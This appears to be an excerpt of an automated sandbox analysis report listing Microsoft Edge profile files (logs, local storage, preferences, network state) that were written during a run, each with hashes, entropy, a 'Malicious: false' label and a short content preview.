C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.228593810199526
Encrypted:	false
SSDEEP:	12:6HSEM+v4Yeb8rcHEZrELFUt8vHSU/+vHSPMV5LYeb8rcHEZrEZSJ:GL4Yeb8nZrExg8viTLYeb8nZrEZe
MD5:	0A9C805FF408EB2D20FE6AB88ACE0325
SHA1:	7274098ACDA399C1CE376974FCB92B6F6E18269D
SHA-256:	F0C0E7490A32D16D603439ADD6C945C112F36113762D58C0887CBD5FFC7F0872
SHA-512:	3FD84B63CC62DDE2D9E287F8B3B3184E81C448F1B8BAC09FA773A86517F38BEBD8B732CC8C179C1AB92FF43D815C110570469D20B88D425AA8E37C9CE9153814
Malicious:	false
Preview:	2024/10/30-22:04:25.538 efc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/30-22:04:25.539 efc Recovering log #3.2024/10/30-22:04:25.539 efc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.683276282192519
Encrypted:	false
SSDEEP:	48:ntZWhZ/vGrXZTMV03Sx41HHHxda2LoEUUJ4mhV:nt0L/vYViWRxLW4
MD5:	185564B562CA6B9925AB93306A39C4C3
SHA1:	BC59509E720580EB7459911254010D40EA3300AC
SHA-256:	09BA7DC9F043F71895BAF4B3B7BB6D7E9CAD145A70290532232E32A0C0406F46
SHA-512:	0D0A27EFE0F302093F3450C018E72CF7DA38D888E057924A37084959D0979951B5E3FC7C334DC8089F926B2E8FCA71028A457CABDCA37C220675EE50DFFD1330
Malicious:	false
Preview:	.n#.\|................VERSION.1..META:https://ntp.msn.com..............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":696}.!_https://ntp.msn.com..LastKnownPV..1730340272901.-_https://ntp.msn.com..LastVisuallyReadyMarker..1730340274654.._https://ntp.msn.com..MUID!.3CD7EF6E4E356EB83574FA474F626FE4.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730340272981,"schedule":[27,26,-1,-1,-1,24,-1],"scheduleFixed":[27,26,-1,-1,-1,24,-1],"simpleSchedule":[42,34,36,12,44,51,16]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730340272872.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241030.344"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_htt

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.090948490488545
Encrypted:	false
SSDEEP:	6:6HepIq2P923oH+Tcwt8a2jMGIFUt8vHey7XZmw+vHeVkwO923oH+Tcwt8a2jMmLJ:6He6v4Yeb8EFUt8vHey7X/+vHeV5LYek
MD5:	E5CA3B8970DD5175A268AFC589162480
SHA1:	C59A9D8774C538DAD58700830DE690A25ABCFABF
SHA-256:	47489C471F7A33D2E47FE819D980F77B4E720EAF672CFDF748739AD174E804D0
SHA-512:	751A25D935A90C49C7D28FB2CE007B60EC2AE0F781D25FAEF869468FBF93CFBBCE631E0165C9FB04014ED13D41E02A50D06F397276F2A2420B1682AE046F6567
Malicious:	false
Preview:	2024/10/30-22:04:21.435 1cd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/30-22:04:21.436 1cd0 Recovering log #3.2024/10/30-22:04:21.439 1cd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.090948490488545
Encrypted:	false
SSDEEP:	6:6HepIq2P923oH+Tcwt8a2jMGIFUt8vHey7XZmw+vHeVkwO923oH+Tcwt8a2jMmLJ:6He6v4Yeb8EFUt8vHey7X/+vHeV5LYek
MD5:	E5CA3B8970DD5175A268AFC589162480
SHA1:	C59A9D8774C538DAD58700830DE690A25ABCFABF
SHA-256:	47489C471F7A33D2E47FE819D980F77B4E720EAF672CFDF748739AD174E804D0
SHA-512:	751A25D935A90C49C7D28FB2CE007B60EC2AE0F781D25FAEF869468FBF93CFBBCE631E0165C9FB04014ED13D41E02A50D06F397276F2A2420B1682AE046F6567
Malicious:	false
Preview:	2024/10/30-22:04:21.435 1cd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/30-22:04:21.436 1cd0 Recovering log #3.2024/10/30-22:04:21.439 1cd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\06c4e1e6-5cd3-42b5-80f0-e14c66248ab1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\25a032b7-b538-4247-939d-fade6cd45e0d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 7, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.3059490090350065
Encrypted:	false
SSDEEP:	192:nPjBGH0B/zbl0fNQP9bXUxRGPImIseaGNM8+isJ3+pXT:PjoH0B7bl0fNEUxRKImIfab3iXT
MD5:	80906BA8743F7C4CF0387EB4E8734D34
SHA1:	7A2B58AE6FF3D41840E4FB0FCB447C430759E794
SHA-256:	83526600C444859C93DF9F19EEF98EAEF89D0B9184365BFCC1FC3CA5ADB775CD
SHA-512:	7FC7BCAF3D5E2BF45B38CB96AFFE5F7F2151B6686DCED1637F5C287FF7325832CC601E924D09BCD14690ADCF4AE8BAF6A50A977C2830E049CAC8CF64F12CBE3F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	5.332871871366513
Encrypted:	false
SSDEEP:	48:YcgCzsFctsF+fc7Rs3leeBkEs4CgH8bxo+:FScS+2wkeBk0T8Vo+
MD5:	19A77A488C33114C8FA9F38444A9FC4C
SHA1:	80446FD4F0D8FA9B0521831E385E640CAE543537
SHA-256:	97D24A5AA64AEB8B2669E4C7F004801AF56453D0CF10AB9908A86F9A6C11C928
SHA-512:	B1E54AF210B8FF3ADE2812524DDD3F2DB17BD67BB714F0A225F0CC53CDF7CD63BF6AD41C447C36357350D9AB889CC7E4B80E1027992EC0F376C6816C2E5AB115
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377405863966435","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377405866856317","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13374907488656897","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.4752264543923501
Encrypted:	false
SSDEEP:	48:T2fIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBfJ:ifIEumQv8m1ccnvS6sgVDow0WjUfcOJ0
MD5:	DC39003C98705705E9C58BFD65BD7CDC
SHA1:	85FE116F683589B1D1DB942169FD8F24DE05F4A5
SHA-256:	4847BB552EE1E2963D36E8D847718B61E365048EBB24B0CF98939A0760199800
SHA-512:	5B993673811A0EEB54F549B03D1A4CC0D6BD9D636C6A849118F799C62BECCC06EB03C5AC5D35C03B7EF5A365491087115F9E5186E01C5BDC511668E589B3B6F6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF386e4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF393c5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\de21c846-105d-4738-8b9e-22cfd771ae62.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ecdf5f6c-cb44-4205-b8d9-ad841fab1844.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	5.332871871366513
Encrypted:	false
SSDEEP:	48:YcgCzsFctsF+fc7Rs3leeBkEs4CgH8bxo+:FScS+2wkeBk0T8Vo+
MD5:	19A77A488C33114C8FA9F38444A9FC4C
SHA1:	80446FD4F0D8FA9B0521831E385E640CAE543537
SHA-256:	97D24A5AA64AEB8B2669E4C7F004801AF56453D0CF10AB9908A86F9A6C11C928
SHA-512:	B1E54AF210B8FF3ADE2812524DDD3F2DB17BD67BB714F0A225F0CC53CDF7CD63BF6AD41C447C36357350D9AB889CC7E4B80E1027992EC0F376C6816C2E5AB115
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377405863966435","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377405866856317","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13374907488656897","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\fd3381be-7b0a-4b24-a346-012791675676.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12489
Entropy (8bit):	5.204064858040242
Encrypted:	false
SSDEEP:	192:stHJ99QTryDigabatSuyp1spUsZihUkkFh8dbV+FiXQA66W4aFIMYUPpYJ:stHPGKSu41spUfhjbGeQx6W4aTYb
MD5:	4FBF3065ECDA30975FC18D839C5DF865
SHA1:	66658C6F15FBD0216B0468866E148436030A021A
SHA-256:	5B7507120A737C01A542F4E2528E8392E97D09B5154D4458819DE90168F4A9F5
SHA-512:	CA4AB91E38A25FD547340AE55F926B525317A29FC06E27E6BB0EE648E95F9A564D952B805E8AF371A48702A223DAE3366FB1CAEC69D432390A9EA971F0A027E8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374813861452927","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3c8ee.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12489
Entropy (8bit):	5.204064858040242
Encrypted:	false
SSDEEP:	192:stHJ99QTryDigabatSuyp1spUsZihUkkFh8dbV+FiXQA66W4aFIMYUPpYJ:stHPGKSu41spUfhjbGeQx6W4aTYb
MD5:	4FBF3065ECDA30975FC18D839C5DF865
SHA1:	66658C6F15FBD0216B0468866E148436030A021A
SHA-256:	5B7507120A737C01A542F4E2528E8392E97D09B5154D4458819DE90168F4A9F5
SHA-512:	CA4AB91E38A25FD547340AE55F926B525317A29FC06E27E6BB0EE648E95F9A564D952B805E8AF371A48702A223DAE3366FB1CAEC69D432390A9EA971F0A027E8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374813861452927","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40c7f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12489
Entropy (8bit):	5.204064858040242
Encrypted:	false
SSDEEP:	192:stHJ99QTryDigabatSuyp1spUsZihUkkFh8dbV+FiXQA66W4aFIMYUPpYJ:stHPGKSu41spUfhjbGeQx6W4aTYb
MD5:	4FBF3065ECDA30975FC18D839C5DF865
SHA1:	66658C6F15FBD0216B0468866E148436030A021A
SHA-256:	5B7507120A737C01A542F4E2528E8392E97D09B5154D4458819DE90168F4A9F5
SHA-512:	CA4AB91E38A25FD547340AE55F926B525317A29FC06E27E6BB0EE648E95F9A564D952B805E8AF371A48702A223DAE3366FB1CAEC69D432390A9EA971F0A027E8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374813861452927","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF48307.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12489
Entropy (8bit):	5.204064858040242
Encrypted:	false
SSDEEP:	192:stHJ99QTryDigabatSuyp1spUsZihUkkFh8dbV+FiXQA66W4aFIMYUPpYJ:stHPGKSu41spUfhjbGeQx6W4aTYb
MD5:	4FBF3065ECDA30975FC18D839C5DF865
SHA1:	66658C6F15FBD0216B0468866E148436030A021A
SHA-256:	5B7507120A737C01A542F4E2528E8392E97D09B5154D4458819DE90168F4A9F5
SHA-512:	CA4AB91E38A25FD547340AE55F926B525317A29FC06E27E6BB0EE648E95F9A564D952B805E8AF371A48702A223DAE3366FB1CAEC69D432390A9EA971F0A027E8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374813861452927","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.5546694385825335
Encrypted:	false
SSDEEP:	768:+Xf++77pLGLpg2WPMyf7E8F1+UoAYDCx9Tuqh0VfUC9xbog/OVuIj3krw4Ygli5c:+Xf++Ncpg2WPMyf7Eu1jajU394Ygk5Ox
MD5:	10D641C2853FD4FC2EAA0151636D2F9A
SHA1:	45E261DF5DC183092EEA7801ADB7333D69C5ABEE
SHA-256:	363BAB625CDB63B758F63FE732079B5C9390B40AFAC7434636352D21C05227BD
SHA-512:	131DDA905A0BA1CB95F32CB460C48265D231D95C3A6B0CA8D142F1D36CBE162E04F8969E0AB53C1400395D16A09224EEE10377A17CDA5731F1F681A006B4194B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374813860305627","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374813860305627","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3e689.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.5546694385825335
Encrypted:	false
SSDEEP:	768:+Xf++77pLGLpg2WPMyf7E8F1+UoAYDCx9Tuqh0VfUC9xbog/OVuIj3krw4Ygli5c:+Xf++Ncpg2WPMyf7Eu1jajU394Ygk5Ox
MD5:	10D641C2853FD4FC2EAA0151636D2F9A
SHA1:	45E261DF5DC183092EEA7801ADB7333D69C5ABEE
